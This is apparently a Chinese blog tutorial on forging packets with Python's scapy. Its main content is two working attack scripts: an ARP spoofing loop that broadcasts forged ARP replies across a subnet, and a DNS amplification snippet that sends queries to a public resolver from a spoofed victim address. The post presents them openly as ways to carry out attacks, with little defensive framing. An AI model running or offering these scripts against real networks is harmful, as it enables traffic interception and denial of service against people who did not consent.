Python中使用scapy模拟数据包实现arp攻击、dns放大攻击例子


Posted in Python onOctober 23, 2014

scapy是python写的一个功能强大的交互式数据包处理程序,可用来发送、嗅探、解析和伪造网络数据包,常常被用到网络攻击和测试中。

这里就直接用python的scapy搞。

这里是arp的攻击方式,你可以做成arp攻击。

#!/usr/bin/python

"""

ARP attack

"""

import sys, os

from scapy.all import *

if os.geteuid() != 0:

    print "This program must be run as root. Aborting."

    sys.exit()
if len(sys.argv) < 2:

    print "Pkease Use %s x.x.x" % (sys.argv[0])

    exit()

attackIP = sys.argv[1] + ".0/24"

srploop(Ether(dst="FF:FF:FF:FF:FF:FF")/ARP(pdst=attackIP, psrc="192.168.1.100", hwsrc="00:66:66:66:66:66"), timeout=2)

dns放大攻击

#coding:utf-8

from scapy import *

from scapy.all import *
a = IP(dst='8.8.8.8',src='192.168.1.200') #192.168.1.200 为伪造的源ip

b = UDP(dport=53)

c = DNS(id=1,qr=0,opcode=0,tc=0,rd=1,qdcount=1,ancount=0,nscount=0,arcount=0)

c.qd=DNSQR(qname='www.qq.com',qtype=1,qclass=1)

p = a/b/c

send(p)

~
Python 相关文章推荐
安装Python的web.py框架并从hello world开始编程
Apr 25 Python
Python遍历指定文件及文件夹的方法
May 09 Python
Python3.6笔记之将程序运行结果输出到文件的方法
Apr 22 Python
Python爬取破解无线网络wifi密码过程解析
Sep 17 Python
python实现加密的方式总结
Jan 19 Python
Python sqlite3查询操作过程解析
Feb 20 Python
Keras 利用sklearn的ROC-AUC建立评价函数详解
Jun 15 Python
通过实例解析Python文件操作实现步骤
Sep 21 Python
通过实例解析python subprocess模块原理及用法
Oct 10 Python
python爬虫爬取淘宝商品比价(附淘宝反爬虫机制解决小办法)
Dec 03 Python
python树莓派通过队列实现进程交互的程序分析
Jul 04 Python
Python办公自动化解决world文件批量转换
Sep 15 Python
使用Python开发windows GUI程序入门实例
Oct 23 #Python
手动实现把python项目发布为exe可执行程序过程分享
Oct 23 #Python
python文件操作整理汇总
Oct 21 #Python
Python中input和raw_input的一点区别
Oct 21 #Python
Python中if __name__ == &quot;__main__&quot;详细解释
Oct 21 #Python
Python创建文件和追加文件内容实例
Oct 21 #Python
python3生成随机数实例
Oct 20 #Python
You might like
PHP+javascript模拟Matrix画面
2006/10/09 PHP
Mootools 1.2教程(3) 数组使用简介
2009/09/14 Javascript
javascript面向对象之Javascript 继承
2010/05/04 Javascript
js动态创建表格,删除行列的小例子
2013/07/20 Javascript
JS获取地址栏参数的几种方法小结
2014/02/28 Javascript
javascript删除一个html元素节点的方法
2014/12/20 Javascript
js实现绿白相间竖向网页百叶窗动画切换效果
2015/03/02 Javascript
javascript实现tab切换的两个实例
2015/11/05 Javascript
今天抽时间给大家整理jquery和ajax的相关知识
2015/11/17 Javascript
Eclipse引入jquery报错如何解决
2015/12/01 Javascript
JS弹出对话框实现方法(三种方式)
2015/12/18 Javascript
设计模式中的组合模式在JavaScript程序构建中的使用
2016/05/18 Javascript
ES6新特性之变量和字符串用法示例
2017/04/01 Javascript
详解AngularJS用Interceptors来统一处理HTTP请求和响应
2017/06/08 Javascript
微信小程序canvas写字板效果及实例
2017/06/15 Javascript
关于页面刷新vuex数据消失问题解决方案
2017/07/03 Javascript
解决webpack打包速度慢的解决办法汇总
2017/07/06 Javascript
使用vue + less 实现简单换肤功能的示例
2018/02/21 Javascript
vue 项目接口管理的实现
2019/01/17 Javascript
JS实现可切换图片的幻灯切换效果示例
2019/05/24 Javascript
JS前端知识点offset,scroll,client,冒泡,事件对象的应用整理总结
2019/06/27 Javascript
vue项目实现图片上传功能
2019/12/23 Javascript
Python实现的百度站长自动URL提交小工具
2014/06/27 Python
python将ip地址转换成整数的方法
2015/03/17 Python
Python实现的破解字符串找茬游戏算法示例
2017/09/25 Python
Python实现文件信息进行合并实例代码
2018/01/17 Python
Python+Tensorflow+CNN实现车牌识别的示例代码
2019/10/11 Python
numpy 声明空数组详解
2019/12/05 Python
Python 图片处理库exifread详解
2021/02/25 Python
德国最大的网上鞋店之一:Schuhe24.de
2017/06/10 全球购物
海蓝之谜(LA MER)澳大利亚官方商城:全球高端奢华护肤品牌
2017/10/27 全球购物
有影响力的品牌之家:Our Social Collective
2019/06/08 全球购物
大学社团活动策划书
2014/01/26 职场文书
不同意离婚代理词
2015/05/23 职场文书
学习经验交流会策划书
2015/11/02 职场文书
歌咏比赛口号大全
2015/12/25 职场文书